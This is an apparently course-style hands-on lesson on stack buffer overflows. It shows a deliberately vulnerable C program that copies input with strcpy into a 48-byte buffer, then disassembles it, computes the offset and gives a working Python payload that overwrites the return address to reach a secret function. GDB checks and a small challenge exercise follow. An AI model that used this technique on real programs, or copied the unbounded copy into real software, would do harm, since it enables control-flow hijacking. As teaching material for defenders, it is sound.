Hands-On Stack Smashing
This is the synthesis lesson for buffer overflows. You'll work through the full path a security researcher takes when sizing up a stack-based vulnerability: pulling apart the binary, mapping the stack, finding the offset, and building a payload that lands a control-flow hijack. Every step reinforces what the previous three lessons set up.
The techniques in this lesson are for defensive purposes only. Knowing how attacks work is the price of admission for building secure systems, writing detection rules that actually trigger, running authorised pentests, and reviewing security-sensitive code. Never apply these techniques to systems you don't own or have explicit written authorisation to test. If you find a vulnerability in shipped software, follow responsible disclosure: report it to the vendor, give them reasonable time to patch, then coordinate public disclosure.
The Target Program
Consider this deliberately vulnerable program that simulates a simple authentication check:
#include <stdio.h>#include <string.h>
int authenticated = 0;
void check_password(char *input) { char password_buffer[48]; strcpy(password_buffer, input);
if (strcmp(password_buffer, "s3cur3_p4ssw0rd") == 0) { authenticated = 1; }}
void secret_function() { printf("ACCESS GRANTED: You reached the secret function!\n"); printf("In a real exploit, this could be arbitrary code.\n");}
int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <password>\n", argv[0]); return 1; }
check_password(argv[1]);
if (authenticated) { printf("Welcome, authenticated user.\n"); } else { printf("Access denied.\n"); } return 0;}Compile it with protections disabled:
gcc -fno-stack-protector -no-pie -z execstack -O0 -o target target.cA quick decoder for the flags: -fno-stack-protector strips canaries, -no-pie builds without PIE (so addresses stay fixed), -z execstack marks the stack executable, and -O0 keeps the optimiser from rearranging the stack out from under us.
Step 1: Disassemble and Map the Stack
Pull up the disassembly of check_password first:
check_password: push rbp mov rbp, rsp sub rsp, 64 ; allocate stack space
mov qword [rbp-56], rdi ; save the input pointer
; strcpy(password_buffer, input) mov rdx, qword [rbp-56] lea rax, [rbp-48] ; password_buffer starts at rbp-48 mov rsi, rdx mov rdi, rax call strcpy
; strcmp(password_buffer, "s3cur3_p4ssw0rd") lea rax, [rbp-48] lea rsi, [rel .LC0] ; the expected password mov rdi, rax call strcmp test eax, eax jne .L2
; authenticated = 1 mov dword [rel authenticated], 1
.L2: nop leave retExtract the load-bearing facts from the disassembly:
- Buffer location:
[rbp-48]— the buffer starts 48 bytes below the frame pointer - Buffer size: 48 bytes (from the C source)
- Saved rbp: 8 bytes at
[rbp+0] - Return address: at
[rbp+8]
Step 2: Calculate the Offset
Offset = distance from buffer start to return address = (rbp + 8) - (rbp - 48) = 56 bytesBreakdown:
- Bytes 0-47: fill the
password_buffer(48 bytes) - Bytes 48-55: overwrite the saved
rbp(8 bytes) - Bytes 56-63: overwrite the return address (8 bytes)
Step 3: Find the Target Address
The goal is to redirect execution into secret_function. Grab its address:
objdump -d -M intel target | grep "secret_function"Suppose the output shows:
0000000000401196 <secret_function>:The address is 0x0000000000401196. As little-endian bytes that becomes \x96\x11\x40\x00\x00\x00\x00\x00.
Step 4: Construct the Payload
import structimport sys
offset = 56target_addr = 0x401196
# Build the payloadpayload = b'A' * offset # padding to reach return addresspayload += struct.pack('<Q', target_addr) # overwrite return address (little-endian)
sys.stdout.buffer.write(payload) # raw bytes, not print(payload)struct.pack('<Q', target_addr) packs the 64-bit address into 8 little-endian bytes, matching how x86-64 stores multi-byte values in memory. Write the result with sys.stdout.buffer.write. print(payload) would print the Python representation, b'AAAA...\x96\x11@...', as text.
Those last five bytes are zeros, and that needs a moment's thought. The payload reaches the program as argv[1], and a C string can't contain a NUL, so bash drops them (with a warning, "ignored null byte in input") when you use $(...). Even if they got through, strcpy would stop at the first one. It doesn't matter here. strcpy copies the 56 As and 96 11 40, then writes its own terminating NUL, and the return address it overwrites pointed into main, so its top bytes were already zero. The slot ends up holding 0x0000000000401196.
Step 5: Understand the Exploitation Flow
Use the exploit builder below to see how the payload maps onto the stack. It's set up for this target: a 48-byte buffer, the return address at offset 56, and secret_function at 0x401196. Fill the buffer and the saved rbp with padding, then drop the address blocks on the return-address slot. The builder files this under "rop" because, like a ROP chain, the payload reuses code that's already in the binary rather than injecting any.
Exploit Builder
ropChain return addresses to existing code gadgets instead of injecting shellcode.
The exploit flow proceeds as follows:
Step 6: Verify in a Debugger
Use GDB to confirm each step of the exploit:
gdb ./target(gdb) disassemble check_password(gdb) break *check_password+62 # break before ret(gdb) run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*56 + (0x401196).to_bytes(8, "little"))')At the breakpoint, examine the stack:
(gdb) x/2xg $rbp0x7fffffffe1d0: 0x4141414141414141 <- saved rbp (overwritten with A's)0x7fffffffe1d8: 0x0000000000401196 <- return address (our target!)Continue execution and the CPU lands in secret_function instead of returning to main.
If it then crashes inside printf on a movaps instruction, that's stack alignment, not a wrong offset. A normal call enters a function with rsp 8 bytes off a 16-byte boundary. Arriving by ret leaves it on the boundary, so everything secret_function calls is misaligned by 8, and SSE code in libc that expects alignment faults. ROP chains fix this with an extra bare ret gadget first, but that needs an address full of zero bytes in the middle of the payload, which strcpy can't carry. Here, aim at the instruction just after secret_function's push rbp instead: skipping one 8-byte push restores the alignment. Either way, expect a crash after the message prints, because secret_function eventually returns to whatever comes next on the smashed stack.
This exercise is the case study for why input validation is non-negotiable. strcpy has zero feel for the buffer boundary, and one unchecked input can redirect execution anywhere. Every function that copies external data into a fixed-size stack buffer is a candidate vulnerability. Module 12's mitigations — canaries, ASLR, DEP, FORTIFY_SOURCE — are there to make this exploitation path as expensive as possible, but the front line is always sound bounds checking in the source.
Common Pitfalls in Offset Calculation
Real binaries throw a few curveballs at offset calculation:
Compiler alignment padding: the compiler often pads the frame so the stack lines up on a 16-byte boundary. A sub rsp, 64 may carve out more room than the sum of named locals suggests.
Multiple local variables: with several locals in play, the buffer isn't necessarily at the top of the frame. Variables declared after the buffer in C may sit at lower addresses on the stack — or the compiler may reorder them entirely.
Canary slots: -fstack-protector slides an 8-byte canary between the buffer and the saved rbp. The offset shifts, and any corruption trips a check that aborts the program before ret ever runs.
Without canary: buffer (48B) | saved rbp (8B) | ret addr (8B)With canary: buffer (48B) | canary (8B) | saved rbp (8B) | ret addr (8B)Null bytes in addresses: if the target address has null bytes — and on x86-64 it usually does, since addresses tend to carry leading zeros — strcpy happily quits at the first null. That's why a lot of exploits switch to overflow triggers like read() or recv(), which copy raw bytes regardless.
The Broader Picture
Stack buffer overflows are one instance of a much wider rule: any write past its intended bounds can corrupt whatever's next door. The stack is particularly nasty because it crams several different things into the same neighbourhood:
- Local variables (data)
- Saved frame pointers (metadata)
- Return addresses (control flow)
We used the most straightforward case here. In the real world, exploitation tangles with compiler optimisations, stack protections, ASLR, and DEP. Modules 11 and 12 cover how attackers adapt and how defenders stack mitigations to drive exploitation cost up.
Try It Yourself
In the sandbox below, compile the target, find the offset, dig out secret_function's address, and build a payload that redirects execution. Take each step in order.
Practise on your own machine
You need Linux on x86-64: a virtual machine, WSL 2 on Windows, or a container. Then install the tools with sudo apt install nasm gcc gdb binutils.
What is Next
You've now got a working grip on stack-based buffer overflows: anatomy, mechanics, the classic exploitation technique, the hands-on workflow. Module 10 turns the page to shellcode development — writing the position-independent machine code that attackers used to drop into those overflowed buffers.
Challenges
Given a function with a 64-byte local buffer at [rbp-64] and the return address at [rbp+8], calculate and print the number of bytes needed to overwrite the return address (72) followed by a newline.